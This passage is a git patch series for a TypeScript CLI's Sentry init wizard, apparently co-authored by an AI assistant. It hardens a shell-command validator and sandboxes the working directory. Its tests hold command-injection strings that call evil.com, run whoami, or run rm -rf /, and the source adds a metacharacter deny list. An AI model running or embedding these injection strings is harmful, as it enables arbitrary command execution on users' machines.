}); test("handles connection error gracefully", async () => { @@ -201,8 +230,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logMock.error).toHaveBeenCalledWith("Connection refused"); - expect(cancelMock).toHaveBeenCalledWith("Setup failed"); + expect(logErrorSpy).toHaveBeenCalledWith("Connection refused"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); }); }); @@ -226,8 +255,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockHandleLocalOp).toHaveBeenCalled(); - const payload = mockHandleLocalOp.mock.calls[0][0] as { + expect(handleLocalOpSpy).toHaveBeenCalled(); + const payload = handleLocalOpSpy.mock.calls[0][0] as { type: string; operation: string; }; @@ -254,8 +283,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockHandleInteractive).toHaveBeenCalled(); - const payload = mockHandleInteractive.mock.calls[0][0] as { + expect(handleInteractiveSpy).toHaveBeenCalled(); + const payload = handleInteractiveSpy.mock.calls[0][0] as { type: string; kind: string; }; @@ -279,7 +308,7 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockHandleLocalOp).toHaveBeenCalled(); + expect(handleLocalOpSpy).toHaveBeenCalled(); }); test("auto-continues verify-changes in dry-run mode", async () => { @@ -301,7 +330,7 @@ describe("runWizard", () => { await runWizard(makeOptions({ dryRun: true })); // handleInteractive should NOT be called — dry-run auto-continues - expect(mockHandleInteractive).not.toHaveBeenCalled(); + expect(handleInteractiveSpy).not.toHaveBeenCalled(); }); test("handles unknown suspend payload type", async () => { @@ -317,8 +346,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logMock.error).toHaveBeenCalled(); - const errorMsg: string = logMock.error.mock.calls[0][0]; + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; expect(errorMsg).toContain("alien"); }); @@ -358,13 +387,13 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockHandleLocalOp).toHaveBeenCalledTimes(1); - expect(mockHandleInteractive).toHaveBeenCalledTimes(1); - expect(mockFormatResult).toHaveBeenCalled(); + expect(handleLocalOpSpy).toHaveBeenCalledTimes(1); + expect(handleInteractiveSpy).toHaveBeenCalledTimes(1); + expect(formatResultSpy).toHaveBeenCalled(); }); test("handles non-Error exception in catch block", async () => { - mockHandleLocalOp.mockImplementationOnce(() => + handleLocalOpSpy.mockImplementationOnce(() => Promise.reject("string error") ); @@ -385,8 +414,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logMock.error).toHaveBeenCalledWith("string error"); - expect(cancelMock).toHaveBeenCalledWith("Setup failed"); + expect(logErrorSpy).toHaveBeenCalledWith("string error"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); }); test("falls back to iterating steps when stepId key not found", async () => { @@ -409,7 +438,7 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockHandleLocalOp).toHaveBeenCalled(); + expect(handleLocalOpSpy).toHaveBeenCalled(); }); test("handles missing suspend payload", async () => { @@ -421,8 +450,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logMock.error).toHaveBeenCalled(); - const errorMsg: string = logMock.error.mock.calls[0][0]; + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; expect(errorMsg).toContain("No suspend payload"); }); }); @@ -433,8 +462,8 @@ describe("runWizard", () => { await runWizard(makeOptions({ dryRun: true })); - expect(logMock.warn).toHaveBeenCalled(); - const warnMsg: string = logMock.warn.mock.calls[0][0]; + expect(logWarnSpy).toHaveBeenCalled(); + const warnMsg: string = logWarnSpy.mock.calls[0][0]; expect(warnMsg).toContain("Dry-run"); }); }); From 8cfa8f562b7cfdf9fd8b99cc80c9e74bd1486d28 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 20:33:43 +0100 Subject: [PATCH 41/72] fix(test): keep wizard-runner isolated (spyOn fails on local ESM in CI) spyOn on local TS module exports doesn't intercept in bun on Linux, so wizard-runner must stay isolated with mock.module(). The interactive test remains in test/lib/init/ since it only spies on @clack/prompts. Co-Authored-By: Claude Opus 4.6 --- .../init-wizard-runner.test.ts} | 291 ++++++++---------- 1 file changed, 131 insertions(+), 160 deletions(-) rename test/{lib/init/wizard-runner.test.ts => isolated/init-wizard-runner.test.ts} (56%) diff --git a/test/lib/init/wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts similarity index 56% rename from test/lib/init/wizard-runner.test.ts rename to test/isolated/init-wizard-runner.test.ts index 2bc10ae7..519f0641 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -1,70 +1,105 @@ /** - * Wizard Runner Tests + * Isolated tests for the init wizard runner. * - * Tests for the init wizard runner. Uses spyOn on namespace imports - * to stub heavy dependencies (MastraClient, clack, handlers, auth, help). + * Uses mock.module() to stub heavy dependencies (MastraClient, clack, handlers, + * auth, help). Kept isolated to avoid module-level mock leakage. */ -import { - afterEach, - beforeEach, - describe, - expect, - mock, - spyOn, - test, -} from "bun:test"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as clack from "@clack/prompts"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as mastraModule from "@mastra/client-js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as authModule from "../../../src/lib/db/auth.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as helpModule from "../../../src/lib/help.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as formattersModule from "../../../src/lib/init/formatters.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as interactiveModule from "../../../src/lib/init/interactive.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as localOpsModule from "../../../src/lib/init/local-ops.js"; +import { beforeEach, describe, expect, mock, spyOn, test } from "bun:test"; import type { WizardOptions, WorkflowRunResult, -} from "../../../src/lib/init/types.js"; -import { runWizard } from "../../../src/lib/init/wizard-runner.js"; +} from "../../src/lib/init/types.js"; -const noop = () => { - /* suppress output */ -}; - -// ── Clack spinner mock ────────────────────────────────────────────────────── +// ── Clack mocks ──────────────────────────────────────────────────────────── const spinnerMock = { start: mock(), stop: mock(), message: mock(), }; +const introMock = mock(); +const logMock = { info: mock(), warn: mock(), error: mock() }; +const cancelMock = mock(); + +mock.module("@clack/prompts", () => ({ + spinner: () => spinnerMock, + intro: introMock, + log: logMock, + cancel: cancelMock, + note: mock(), + outro: mock(), + select: mock(), + multiselect: mock(), + confirm: mock(), + isCancel: (v: unknown) => v === Symbol.for("cancel"), +})); + +// ── Handler mocks ────────────────────────────────────────────────────────── +const mockHandleLocalOp = mock(() => + Promise.resolve({ ok: true, data: { results: [] } }) +); +mock.module("../../src/lib/init/local-ops.js", () => ({ + handleLocalOp: mockHandleLocalOp, + validateCommand: () => { + /* noop mock */ + }, +})); + +const mockHandleInteractive = mock(() => + Promise.resolve({ action: "continue" }) +); +mock.module("../../src/lib/init/interactive.js", () => ({ + handleInteractive: mockHandleInteractive, +})); + +const mockFormatResult = mock(); +const mockFormatError = mock(); +mock.module("../../src/lib/init/formatters.js", () => ({ + formatResult: mockFormatResult, + formatError: mockFormatError, +})); + +mock.module("../../src/lib/db/auth.js", () => ({ + getAuthToken: () => "fake-token", + isAuthenticated: () => Promise.resolve(false), +})); + +mock.module("../../src/lib/help.js", () => ({ + formatBanner: () => "BANNER", +})); + +// ── MastraClient mock ────────────────────────────────────────────────────── +let mockStartResult: WorkflowRunResult = { status: "success" }; +let mockResumeResults: WorkflowRunResult[] = []; +let resumeCallCount = 0; +let startShouldThrow = false; + +mock.module("@mastra/client-js", () => ({ + MastraClient: class { + getWorkflow() { + return { + createRun: () => + Promise.resolve({ + startAsync: () => { + if (startShouldThrow) { + return Promise.reject(new Error("Connection refused")); + } + return Promise.resolve(mockStartResult); + }, + resumeAsync: () => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success", + }; + resumeCallCount += 1; + return Promise.resolve(result); + }, + }), + }; + } + }, +})); -// ── Spy references ────────────────────────────────────────────────────────── -let spinnerSpy: ReturnType; -let introSpy: ReturnType; -let logInfoSpy: ReturnType; -let logWarnSpy: ReturnType; -let logErrorSpy: ReturnType; -let cancelSpy: ReturnType; -let handleLocalOpSpy: ReturnType; -let handleInteractiveSpy: ReturnType; -let formatResultSpy: ReturnType; -let formatErrorSpy: ReturnType; -let getAuthTokenSpy: ReturnType; -let formatBannerSpy: ReturnType; -let mastraClientSpy: ReturnType; - -// ── Workflow state ────────────────────────────────────────────────────────── -let mockStartResult: WorkflowRunResult; -let mockResumeResults: WorkflowRunResult[]; -let resumeCallCount: number; -let startShouldThrow: boolean; +const { runWizard } = await import("../../src/lib/init/wizard-runner.js"); function makeOptions(overrides?: Partial): WizardOptions { return { @@ -79,93 +114,29 @@ function makeOptions(overrides?: Partial): WizardOptions { }; } -beforeEach(() => { - // Reset workflow state - mockStartResult = { status: "success" }; - mockResumeResults = []; - resumeCallCount = 0; - startShouldThrow = false; - - // Clack spies +function resetAllMocks() { spinnerMock.start.mockClear(); spinnerMock.stop.mockClear(); spinnerMock.message.mockClear(); + introMock.mockClear(); + logMock.info.mockClear(); + logMock.warn.mockClear(); + logMock.error.mockClear(); + cancelMock.mockClear(); + mockHandleLocalOp.mockClear(); + mockHandleInteractive.mockClear(); + mockFormatResult.mockClear(); + mockFormatError.mockClear(); - spinnerSpy = spyOn(clack, "spinner").mockReturnValue(spinnerMock as any); - introSpy = spyOn(clack, "intro").mockImplementation(noop); - logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); - logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); - logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); - cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); - - // Handler spies - handleLocalOpSpy = spyOn(localOpsModule, "handleLocalOp").mockImplementation( - () => Promise.resolve({ ok: true, data: { results: [] } }) as any - ); - handleInteractiveSpy = spyOn( - interactiveModule, - "handleInteractive" - ).mockImplementation(() => Promise.resolve({ action: "continue" }) as any); - - // Formatter spies - formatResultSpy = spyOn(formattersModule, "formatResult").mockImplementation( - noop - ); - formatErrorSpy = spyOn(formattersModule, "formatError").mockImplementation( - noop - ); - - // Auth & help spies - getAuthTokenSpy = spyOn(authModule, "getAuthToken").mockReturnValue( - "fake-token" as any - ); - formatBannerSpy = spyOn(helpModule, "formatBanner").mockReturnValue( - "BANNER" as any - ); - - // MastraClient spy — mockImplementation returns an object, so `new` uses it - mastraClientSpy = spyOn(mastraModule, "MastraClient").mockImplementation( - () => - ({ - getWorkflow: () => ({ - createRun: () => - Promise.resolve({ - startAsync: () => { - if (startShouldThrow) { - return Promise.reject(new Error("Connection refused")); - } - return Promise.resolve(mockStartResult); - }, - resumeAsync: () => { - const result = mockResumeResults[resumeCallCount] ?? { - status: "success", - }; - resumeCallCount += 1; - return Promise.resolve(result); - }, - }), - }), - }) as any - ); -}); - -afterEach(() => { - spinnerSpy.mockRestore(); - introSpy.mockRestore(); - logInfoSpy.mockRestore(); - logWarnSpy.mockRestore(); - logErrorSpy.mockRestore(); - cancelSpy.mockRestore(); - handleLocalOpSpy.mockRestore(); - handleInteractiveSpy.mockRestore(); - formatResultSpy.mockRestore(); - formatErrorSpy.mockRestore(); - getAuthTokenSpy.mockRestore(); - formatBannerSpy.mockRestore(); - mastraClientSpy.mockRestore(); -}); + mockStartResult = { status: "success" }; + mockResumeResults = []; + resumeCallCount = 0; + startShouldThrow = false; +} describe("runWizard", () => { + beforeEach(resetAllMocks); + describe("TTY check", () => { test("writes error to stderr when not TTY and not --yes", async () => { const origIsTTY = process.stdin.isTTY; @@ -199,8 +170,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(formatResultSpy).toHaveBeenCalled(); - expect(formatErrorSpy).not.toHaveBeenCalled(); + expect(mockFormatResult).toHaveBeenCalled(); + expect(mockFormatError).not.toHaveBeenCalled(); }); }); @@ -210,8 +181,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(formatErrorSpy).toHaveBeenCalled(); - expect(formatResultSpy).not.toHaveBeenCalled(); + expect(mockFormatError).toHaveBeenCalled(); + expect(mockFormatResult).not.toHaveBeenCalled(); }); test("treats success with exitCode as error", async () => { @@ -222,7 +193,7 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(formatErrorSpy).toHaveBeenCalled(); + expect(mockFormatError).toHaveBeenCalled(); }); test("handles connection error gracefully", async () => { @@ -230,8 +201,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logErrorSpy).toHaveBeenCalledWith("Connection refused"); - expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + expect(logMock.error).toHaveBeenCalledWith("Connection refused"); + expect(cancelMock).toHaveBeenCalledWith("Setup failed"); }); }); @@ -255,8 +226,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(handleLocalOpSpy).toHaveBeenCalled(); - const payload = handleLocalOpSpy.mock.calls[0][0] as { + expect(mockHandleLocalOp).toHaveBeenCalled(); + const payload = mockHandleLocalOp.mock.calls[0][0] as { type: string; operation: string; }; @@ -283,8 +254,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(handleInteractiveSpy).toHaveBeenCalled(); - const payload = handleInteractiveSpy.mock.calls[0][0] as { + expect(mockHandleInteractive).toHaveBeenCalled(); + const payload = mockHandleInteractive.mock.calls[0][0] as { type: string; kind: string; }; @@ -308,7 +279,7 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(handleLocalOpSpy).toHaveBeenCalled(); + expect(mockHandleLocalOp).toHaveBeenCalled(); }); test("auto-continues verify-changes in dry-run mode", async () => { @@ -330,7 +301,7 @@ describe("runWizard", () => { await runWizard(makeOptions({ dryRun: true })); // handleInteractive should NOT be called — dry-run auto-continues - expect(handleInteractiveSpy).not.toHaveBeenCalled(); + expect(mockHandleInteractive).not.toHaveBeenCalled(); }); test("handles unknown suspend payload type", async () => { @@ -346,8 +317,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logErrorSpy).toHaveBeenCalled(); - const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(logMock.error).toHaveBeenCalled(); + const errorMsg: string = logMock.error.mock.calls[0][0]; expect(errorMsg).toContain("alien"); }); @@ -387,13 +358,13 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(handleLocalOpSpy).toHaveBeenCalledTimes(1); - expect(handleInteractiveSpy).toHaveBeenCalledTimes(1); - expect(formatResultSpy).toHaveBeenCalled(); + expect(mockHandleLocalOp).toHaveBeenCalledTimes(1); + expect(mockHandleInteractive).toHaveBeenCalledTimes(1); + expect(mockFormatResult).toHaveBeenCalled(); }); test("handles non-Error exception in catch block", async () => { - handleLocalOpSpy.mockImplementationOnce(() => + mockHandleLocalOp.mockImplementationOnce(() => Promise.reject("string error") ); @@ -414,8 +385,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logErrorSpy).toHaveBeenCalledWith("string error"); - expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + expect(logMock.error).toHaveBeenCalledWith("string error"); + expect(cancelMock).toHaveBeenCalledWith("Setup failed"); }); test("falls back to iterating steps when stepId key not found", async () => { @@ -438,7 +409,7 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(handleLocalOpSpy).toHaveBeenCalled(); + expect(mockHandleLocalOp).toHaveBeenCalled(); }); test("handles missing suspend payload", async () => { @@ -450,8 +421,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(logErrorSpy).toHaveBeenCalled(); - const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(logMock.error).toHaveBeenCalled(); + const errorMsg: string = logMock.error.mock.calls[0][0]; expect(errorMsg).toContain("No suspend payload"); }); }); @@ -462,8 +433,8 @@ describe("runWizard", () => { await runWizard(makeOptions({ dryRun: true })); - expect(logWarnSpy).toHaveBeenCalled(); - const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(logMock.warn).toHaveBeenCalled(); + const warnMsg: string = logMock.warn.mock.calls[0][0]; expect(warnMsg).toContain("Dry-run"); }); }); From 241eb0cbc064c4a8c7e362478321fa82791305f4 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 20:45:43 +0100 Subject: [PATCH 42/72] fix: close file descriptor on readSync failure in readFiles Wrap fd operations in try/finally so fs.closeSync is always called, even if fs.readSync throws an I/O error. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 429bea2f..56775dad 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -237,8 +237,11 @@ function readFiles(payload: ReadFilesPayload): LocalOpResult { // Read only up to maxBytes const buffer = Buffer.alloc(maxBytes); const fd = fs.openSync(absPath, "r"); - fs.readSync(fd, buffer, 0, maxBytes, 0); - fs.closeSync(fd); + try { + fs.readSync(fd, buffer, 0, maxBytes, 0); + } finally { + fs.closeSync(fd); + } files[filePath] = buffer.toString("utf-8"); } else { files[filePath] = fs.readFileSync(absPath, "utf-8"); From a1a1629a49ed8d5d7d17024337647da58c24b888 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 20:51:45 +0100 Subject: [PATCH 43/72] fix: block redirection/background metacharacters and use cross-platform shell Add >, <, and & to SHELL_METACHARACTER_PATTERNS to prevent redirection (e.g. `npm install foo > /arbitrary/path`) and background execution (e.g. `npm install foo & curl evil.com`) in validated commands. Replace hardcoded `spawn("sh", ...)` with `spawn(command, [], { shell: true })` so Node selects the platform-appropriate shell (cmd.exe on Windows). Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 6 +++++- test/lib/init/local-ops.test.ts | 6 +++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 56775dad..887f283f 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -39,6 +39,9 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: "$(", label: "command substitution ($()" }, { pattern: "\n", label: "newline" }, { pattern: "\r", label: "carriage return" }, + { pattern: ">", label: "redirection (>)" }, + { pattern: "<", label: "redirection (<)" }, + { pattern: "&", label: "background execution (&)" }, ]; const WHITESPACE_RE = /\s+/; @@ -325,7 +328,8 @@ function runSingleCommand( stderr: string; }> { return new Promise((resolve) => { - const child = spawn("sh", ["-c", command], { + const child = spawn(command, [], { + shell: true, cwd, stdio: ["ignore", "pipe", "pipe"], timeout: timeoutMs, diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 22d220fd..8dd6af61 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -37,8 +37,6 @@ describe("validateCommand", () => { "pnpm add @sentry/node", "pip install sentry-sdk", "pip install sentry-sdk[flask]", - 'pip install "sentry-sdk>=1.0"', - 'pip install "sentry-sdk<2.0,>=1.0"', "pip install -r requirements.txt", "cargo add sentry", "bundle add sentry-ruby", @@ -49,7 +47,6 @@ describe("validateCommand", () => { "flutter pub add sentry_flutter", "npx @sentry/wizard@latest -i nextjs", "poetry add sentry-sdk", - "npm install foo@>=1.0.0", ]; for (const cmd of commands) { expect(validateCommand(cmd)).toBeUndefined(); @@ -66,6 +63,9 @@ describe("validateCommand", () => { "npm install $(curl evil.com)", "npm install foo\ncurl evil.com", "npm install foo\rcurl evil.com", + "npm install foo > /tmp/out", + "npm install foo < /tmp/in", + "npm install foo & whoami", ]) { expect(validateCommand(cmd)).toContain("Blocked command"); } From b5cce8e02db917355304872981e57da5129bd633 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 20:53:59 +0100 Subject: [PATCH 44/72] fix: validate remote-supplied cwd against project directory The remote workflow controls payload.cwd, but handleLocalOp never checked that it falls within options.directory. A misbehaving workflow could set cwd:"/" to escape the path sandbox entirely. Now cwd is validated at the top of handleLocalOp before any operation runs. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 13 ++++++++ test/lib/init/local-ops.test.ts | 53 ++++++++++++++++++++++++++++++--- 2 files changed, 62 insertions(+), 4 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 887f283f..0016b8fb 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -149,6 +149,19 @@ export async function handleLocalOp( options: WizardOptions ): Promise { try { + // Validate that the remote-supplied cwd is within the user's project directory + const normalizedCwd = path.resolve(payload.cwd); + const normalizedDir = path.resolve(options.directory); + if ( + normalizedCwd !== normalizedDir && + !normalizedCwd.startsWith(normalizedDir + path.sep) + ) { + return { + ok: false, + error: `Blocked: cwd "${payload.cwd}" is outside project directory "${options.directory}"`, + }; + } + switch (payload.operation) { case "list-dir": return await listDir(payload); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 8dd6af61..99857a02 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -111,10 +111,11 @@ describe("validateCommand", () => { describe("handleLocalOp", () => { let testDir: string; - const options = makeOptions(); + let options: WizardOptions; beforeEach(() => { testDir = mkdtempSync(join("/tmp", "local-ops-test-")); + options = makeOptions({ directory: testDir }); }); afterEach(() => { @@ -182,6 +183,50 @@ describe("handleLocalOp", () => { }); }); + describe("cwd sandboxing", () => { + test("rejects cwd outside project directory", async () => { + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: "/", + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + + test("allows cwd equal to project directory", async () => { + writeFileSync(join(testDir, "file.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + + test("allows cwd that is a subdirectory of project directory", async () => { + mkdirSync(join(testDir, "sub")); + writeFileSync(join(testDir, "sub", "file.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: join(testDir, "sub"), + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + }); + describe("list-dir", () => { test("lists files and directories with correct types", async () => { writeFileSync(join(testDir, "file1.txt"), "a"); @@ -489,7 +534,7 @@ describe("handleLocalOp", () => { params: { commands: ["rm -rf /", "echo hello"] }, }; - const dryRunOptions = makeOptions({ dryRun: true }); + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); const result = await handleLocalOp(payload, dryRunOptions); expect(result.ok).toBe(true); const results = ( @@ -657,7 +702,7 @@ describe("handleLocalOp", () => { }, }; - const dryRunOptions = makeOptions({ dryRun: true }); + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); const result = await handleLocalOp(payload, dryRunOptions); expect(result.ok).toBe(true); @@ -681,7 +726,7 @@ describe("handleLocalOp", () => { }, }; - const dryRunOptions = makeOptions({ dryRun: true }); + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); const result = await handleLocalOp(payload, dryRunOptions); expect(result.ok).toBe(false); expect(result.error).toContain("outside project directory"); From 6ca341ecbb994fe13ae3b9bd8591c9b4ca933c59 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 20:59:08 +0100 Subject: [PATCH 45/72] fix: set process.exitCode on wizard failure paths runWizard swallows errors and returns void, but most error paths were missing process.exitCode = 1, causing failed initializations to exit with code 0 in CI/CD pipelines. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index ea38246f..b8f07744 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -162,6 +162,7 @@ export async function runWizard(options: WizardOptions): Promise { spin.stop("Connection failed", 1); log.error(errorMessage(err)); cancel("Setup failed"); + process.exitCode = 1; return; } @@ -193,11 +194,13 @@ export async function runWizard(options: WizardOptions): Promise { } } catch (err) { if (err instanceof WizardCancelledError) { + process.exitCode = 1; return; } spin.stop("Cancelled", 1); log.error(errorMessage(err)); cancel("Setup failed"); + process.exitCode = 1; return; } @@ -212,6 +215,7 @@ function handleFinalResult(result: WorkflowRunResult, spin: Spinner): void { if (hasError) { spin.stop("Failed", 1); formatError(output); + process.exitCode = 1; } else { spin.stop("Done"); formatResult(output); From b6b4525fdef9364f669b7d3165be1e117507e13d Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 22:14:33 +0100 Subject: [PATCH 46/72] fix: harden wizard runner error handling and command validation - Move createRun() into try/catch so network failures get graceful "Connection failed" message instead of an unhandled stack trace - Block shell expansion characters ($, ', ", \) in validateCommand to prevent bypass via ANSI-C quoting, variable expansion, and escapes - Remove unused stdout/stderr/stdin fields from WizardOptions Co-Authored-By: Claude Opus 4.6 --- src/commands/init.ts | 3 --- src/lib/init/local-ops.ts | 4 ++++ src/lib/init/types.ts | 5 ----- src/lib/init/wizard-runner.ts | 3 ++- test/isolated/init-wizard-runner.test.ts | 3 --- test/lib/init/local-ops.test.ts | 15 ++++++++++++--- 6 files changed, 18 insertions(+), 15 deletions(-) diff --git a/src/commands/init.ts b/src/commands/init.ts index 3aacfb62..2a75b3a5 100644 --- a/src/commands/init.ts +++ b/src/commands/init.ts @@ -79,9 +79,6 @@ export const initCommand = buildCommand({ yes: flags.yes, dryRun: flags["dry-run"], features: featuresList, - stdout: this.stdout, - stderr: this.stderr, - stdin: this.stdin, }); }, }); diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 0016b8fb..3e3acb38 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -37,6 +37,10 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: "|", label: "piping (|)" }, { pattern: "`", label: "command substitution (`)" }, { pattern: "$(", label: "command substitution ($()" }, + { pattern: "$", label: "variable/command expansion ($)" }, + { pattern: "'", label: "single quote (')" }, + { pattern: '"', label: 'double quote (")' }, + { pattern: "\\", label: "backslash escape (\\)" }, { pattern: "\n", label: "newline" }, { pattern: "\r", label: "carriage return" }, { pattern: ">", label: "redirection (>)" }, diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 439e5810..d44f7278 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -1,14 +1,9 @@ -import type { Writer } from "../../types/index.js"; - export type WizardOptions = { directory: string; force: boolean; yes: boolean; dryRun: boolean; features?: string[]; - stdout: Writer; - stderr: Writer; - stdin: NodeJS.ReadStream & { fd: 0 }; }; // Local-op suspend payloads diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index b8f07744..f5f3b105 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -147,13 +147,14 @@ export async function runWizard(options: WizardOptions): Promise { headers: token ? { Authorization: `Bearer ${token}` } : {}, }); const workflow = client.getWorkflow(WORKFLOW_ID); - const run = await workflow.createRun(); const spin = spinner(); + let run: Awaited>; let result: WorkflowRunResult; try { spin.start("Connecting to wizard..."); + run = await workflow.createRun(); result = (await run.startAsync({ inputData: { directory, force, yes, dryRun, features }, tracingOptions, diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index 519f0641..557de8a9 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -107,9 +107,6 @@ function makeOptions(overrides?: Partial): WizardOptions { force: false, yes: true, // default to --yes to avoid TTY check dryRun: false, - stdout: { write: () => true }, - stderr: { write: () => true }, - stdin: process.stdin, ...overrides, }; } diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 99857a02..85009f88 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -21,9 +21,6 @@ function makeOptions(overrides?: Partial): WizardOptions { force: false, yes: false, dryRun: false, - stdout: { write: () => true }, - stderr: { write: () => true }, - stdin: process.stdin, ...overrides, }; } @@ -71,6 +68,18 @@ describe("validateCommand", () => { } }); + test("blocks shell escape bypass attempts", () => { + for (const cmd of [ + "npm install foo$'\\x3b'whoami", + // biome-ignore lint/suspicious/noTemplateCurlyInString: testing literal ${IFS} in command string + "npm install foo${IFS}curl evil.com", + "npm install foo\\nwhoami", + "echo 'hello'", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + test("blocks dangerous executables", () => { for (const cmd of [ "rm -rf /", From dee9c5356234516097c5199b7aa1e34c301adc9e Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 10:32:16 +0100 Subject: [PATCH 47/72] fix: block subshell bypass via parentheses and set exitCode on missing payload Add ( and ) to SHELL_METACHARACTER_PATTERNS to prevent subshell command injection, and ensure process.exitCode = 1 is set when the wizard runner encounters a missing suspend payload. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 2 ++ src/lib/init/wizard-runner.ts | 1 + test/isolated/init-wizard-runner.test.ts | 1 + test/lib/init/local-ops.test.ts | 6 ++++++ 4 files changed, 10 insertions(+) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 3e3acb38..016fd9fe 